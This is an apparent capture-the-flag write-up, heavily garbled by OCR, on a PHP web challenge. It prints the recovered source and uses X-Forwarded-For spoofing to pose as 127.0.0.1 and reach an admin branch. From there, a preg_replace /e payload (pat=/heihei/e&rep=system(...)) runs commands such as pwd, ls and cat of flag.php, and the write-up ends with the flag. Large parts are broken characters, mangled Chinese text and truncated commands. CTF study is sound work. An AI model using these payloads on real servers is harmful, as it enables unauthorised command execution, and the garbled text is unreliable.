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<!DOCTYPE HTML>
<html>

<head>
{meta charset="utf-8">
<{meta name="renderer” content="webkit”>
{meta http—equiv="X-UA—Compatible” content="IE=edge, chrome=1">
<{meta name="viewport” content="width=device—width, initial-scale=1, maximum-scale=1"»
<{link rel="stylesheet” href="layui/css/layui.css” media="all”>
<title> &g/ titled
{meta charset="utf-8">
<{/head>

<body>
<ul class="layui—nav”>
<1i class="layui-nav—-item layui-this”><a href="?page=index”>z=F & & &4 F.0{/a></1i>
{Sul>
{fieldset class="layui—elem—field layui—field-title” style="margin—top: 30px;”>
{legend> & & ¥ % </legend>
{/fieldset>
{table class="layui-hide” id="test”></table>
{seript type="text/html” id="switchTpl”>
== XEMY checked HPREHZH R —>
{input type="checkbox” name="sex” value="{{d.id}}” lay-skin="switch” lay—text="JF|3%” lay—filter="checkDemo” {{ d.id==1 0003 ? ’checked’ : ’
>
{/seript>
{script src="layui/layui. js” charset="utf-8"></script>
{seript>
layui.use (" table’, function( {
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IREIZR

ID RER 2§17 RS ’E..

PD9waHAKZXJyb3JfemVwb3J0aW5nKDApOwoKQHNIc3Npb25fc3RhcnQoKTsKeG9zaXhfc2V0dWIKKDEwMDApOwoKCj8+CjwhREIDVFIQRSBIVE1MPgo8
/og73vvizpnlDopoHkvp3otZZIbGVtZW505qih5Z2XCiAgICAgICAgLY
/m5HIKKzIr7zoiKrngrnih7sKICAgICAgICBIbGVIZW50LmOuKCduYXYoZGVibyknLCBmdW5jdGIvbihIbGVIKSB7 CiAgICAgICAgICAQIC8VY29uc29sZS5shb2coZ
/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogl CAgPGRpdiBzdHIsZT0idGV4dC1hbGInbjpjZW50ZXIiPgogl CAgICAgIDxwIGNsY XNzPSJsZWFkIj48P3BocCE
/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1IbHNIewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnlgLz48YnlgLz4KICAgICAgICABZGI
/cGhwCgoglCAgICAgICAgICAgICAgaWYgKHNOcnBvecygkcGFnZSwgJ2lucHV0JykgPiAWKSB7CiAgICAgICAgICAgICAgICAgGICAgZGIIKCKk7CiAgICAgICAgIC/
/PgogICAgICAgIDwvcDAKICAgICAgICA8YnigLz48YnigLz48YnlgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mirnkvr/nmoTIrp7njrDovpPlhaXovpPlh7rnmoTlip
/og70s5g2j5Zy05byASY+RSELitSSqESYqf6I0977yM5Y+q61095YaF6Y005Lq65ZGYSrWLEK+VCgppZiAoJFOTRVIWRVJIbJOhUVFBWFIGT 1JXQVJERURIRKS
/PgoKPC9ib2R5PgoKPC90dG1sPgo= v
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$page $ GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
br br br br
div style
p class php echo $page; die();
br br

br br br br
div style
p class

php
if (strpos($page,

die();

if (strpos($page,
die();

if (strpos($page,
die();

if ($page

die( )§

include($page);
die();

1}
if ($_SERVER[
echo
$pattern = $_GET[pat];

$replacement = $ GET[rep];
$subject = $ GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {
preg replace($pattern, $replacement, $subject);

}else{
die();




isset() ¥ A TN R LT EWEH HIE NULL.
**ctype_alnum()**e& 2 PHPH 2 R/F 2K 8 (CType) %, ATREAENFHERGES ZRHATFFZR.

BRI BRI N Fipage WA A%, HEESFZRAET.

strpos() B ER AR RES —FRFEPE - RHBAMAE.

Ui E R Telse, MEARpageH AREfFTEInpuUt. tatext. textiXLe{.

HEH AN, KIZMIUEAE A —MEFT N, BTGB Aip SR, R HEEILEAMiphiErk127.0.0. 1807,

& 111.200.241.244;
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127.0.0.1

RSSO

Recently used IPs:

Send the following headers:
X-Forwarded-For

iﬁ%ﬁu i% (] X-Originating-IP
D X-Remote-IP
[ X-Remote-Addr
ID BEE X HEHPIRE I

HEZOBEKREE

Welcome My Admin !

FRC A5 P A 1 15 4
preg_replaceif H % i :

>>> mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at
position 19: ...it = -1 [, int &ount ]] )
>>> iR patternZ 45 B E A T B IERFHIE, 0 Freplacementi BB AR B 1% 8 S AT

Mt i&payload &EFE ZHl TAEBR4%:

index.php?pat=/heihei/e&rep=system(%22pwd’%22)&sub=heihei
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Welcome My Admin !
fvar/www/html E
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index.php?pat=/heihei/e&rep=system sub=heihei
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Welcome My Admin !
css index.html index.php js layui logo.png s3chahahaDir start.sh fi[&.png E

index.php?pat=/heihei/e&rep=system sub=heihei
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Welcome My Admin !

flag H

index.php?pat=/heihei/e&rep=system sub=heihei
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Welcome My Admin !
flag.php E

index.php?pat=/heihei/e&rep=system sub=heihei
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Welcome My Admin !
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C @ & view-source:http://111.200.241.244:52861/index.php?pat=/heihei/e&urep=system("cat /var/wwv 7
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{ field: ’area’, title: "X 1}, ~
{ field: ’status’, title: ’"#E#"R#&, minWidth: 120, sort: true },
{ field: ’check’, title: "#&JIFIL", width: 85, templet: ’#switchTpl’, unresize: true }

1
1,
page: true
DE
1
{/seript>
{seript>
layui.use (" element’, function() {
var element = layui.element; //S#iffThover® . “HEH%IhEE, &K Hfielement il
//WE 0T S
element. on (' nav(demo)”, function(elem) {
//console. log (elem)
layer. msg (elem. text () ;
1
1

</ écript)
<br >Welcome My Admin ! <br ><?php
$flag = ’cyberpeace {951cbbabeb364ed0c7fef3f68b4a35db}” ; E
2>
</body>
</html>
v

FTh#% Flflag !
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